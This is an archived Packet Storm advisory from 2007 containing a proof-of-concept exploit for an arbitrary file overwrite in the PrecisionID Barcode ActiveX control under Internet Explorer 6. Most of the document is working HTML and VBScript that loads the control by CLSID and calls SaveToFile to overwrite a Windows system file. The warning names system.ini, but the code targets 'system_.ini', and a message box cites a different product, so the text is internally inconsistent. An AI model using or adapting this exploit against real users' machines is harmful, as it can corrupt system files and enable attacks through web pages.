precision-overwrite.txt

2007-05-17T00:00:00
ID PACKETSTORM:56793
Type packetstorm
Reporter shinnai
Modified 2007-05-17T00:00:00

Description

                                        
                                            `<pre>  
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/16</b></p></span>  
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------  
<b>IE 6 PrecisionID Barcode ActiveX 1.9 0day (PrecisionID_Barcode.dll) Remote Arbitrary File Overwrite</b>  
url: http://www.precisionid.com/  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not be responsible for any damage.  
  
<b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF  
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>  
  
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6  
all software that use this ocx are vulnerable to these exploits.  
  
If you try this exploit with IE 7, it just stops to answer  
-----------------------------------------------------------------------------------------------------  
  
<object classid='clsid:731766D0-8541-11DB-99C1-0050C2490048' id='test'></object>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language='vbscript'>  
Sub tryMe  
On Error Resume Next  
Dim MyMsg  
If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _  
"Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _  
"THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _  
" OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _  
" SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then  
test.SaveToFile "c:\windows\system_.ini"  
MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")  
Else  
MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/16 - PrecisionID Barcode ActiveX")  
End If   
End Sub  
</script>  
</span></span>  
</code></pre>  
`